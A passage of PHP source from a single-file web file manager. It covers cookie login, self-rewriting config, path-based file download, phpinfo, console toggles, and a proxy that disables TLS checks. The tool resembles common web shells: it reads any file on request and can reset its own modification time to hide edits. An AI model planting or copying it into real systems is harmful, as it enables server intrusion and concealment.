	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
